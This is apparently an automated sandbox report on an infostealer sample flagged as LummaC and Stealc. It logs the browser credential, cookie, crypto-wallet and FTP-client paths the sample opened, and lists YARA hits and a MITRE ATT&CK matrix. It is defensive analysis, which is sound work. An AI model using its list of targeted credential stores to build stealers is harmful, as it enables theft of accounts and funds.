Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior

Source: Yara match	File source: 00000009.00000003.2189000814.0000000001176000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2363128747.0000000000700000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2402388484.0000000000700000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2216205547.0000000001176000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2187778263.0000000001176000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2163858876.0000000001176000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2326994165.00000000006FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2429429740.0000000000700000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2321812424.0000000000716000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2164221941.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2321730162.00000000006FD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2240820571.0000000001176000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f20b4c0961.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f20b4c0961.exe PID: 3848, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000038.00000003.2755283804.0000000001236000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: d146970153.exe PID: 7652, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: f20b4c0961.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f20b4c0961.exe PID: 3848, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000003.2212530060.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2702954448.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2408464145.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2253374920.0000000000AA1000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2416102733.000000000174B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2706190538.0000000001442000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2356073494.0000000005450000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2612937099.00000000051D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e2af9f55fd.exe PID: 3684, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	13 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	3 Obfuscated Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	212 Process Injection	1 DLL Side-Loading	NTDS	961 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	2 Bypass User Account Control	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	Cached Domain Credentials	471 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	471 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
